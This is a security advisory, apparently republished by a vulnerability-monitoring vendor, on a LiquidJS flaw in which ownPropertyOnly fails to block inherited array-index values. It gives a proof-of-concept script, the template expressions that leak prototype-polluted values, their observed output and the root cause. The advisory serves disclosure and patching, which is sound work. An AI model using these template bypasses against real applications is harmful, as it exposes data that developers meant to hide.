Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-fwxr-j5w2-587m
Summary
LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data.
With ownPropertyOnly: true, direct access such as:
{{ a[0] }}
correctly blocks an inherited array index. However, the same inherited value is still disclosed through:
.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact
Impact
This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.
Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.
Proof of concept
const { Liquid } = require("liquidjs");
const engine = new Liquid({ ownPropertyOnly: true });
Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";
const a = [];
a.length = 1;
const o = {};
for (const [src, scope] of [
["{{ a[0] }}", { a }],
["{{ a[-1] }}", { a }],
["{{ o.secret }}", { o }],
["{{ a.first }}", { a }],
["{{ a.last }}", { a }],
["{{ a | first }}", { a }],
["{{ a | last }}", { a }],
["{{ a | join: ',' }}", { a }],
["{{ a | reverse | first }}", { a }],
["{{ a | slice: 0, 1 | join: ',' }}", { a }],
["{{ a | compact | join: ',' }}", { a }],
["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}
delete Array.prototype[0];
delete Object.prototype.secret;
Observed behavior
{{ a[0] }} => ""
{{ a[-1] }} => "ARRAY_PROTO_POLLUTED"
{{ o.secret }} => ""
{{ a.first }} => "ARRAY_PROTO_POLLUTED"
{{ a.last }} => "ARRAY_PROTO_POLLUTED"
{{ a | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | last }} => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]"
Expected behavior
When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:
{{ a[0] }}
{{ o.secret }}
Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.
Root cause
ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.
Examples include:
negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices
Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard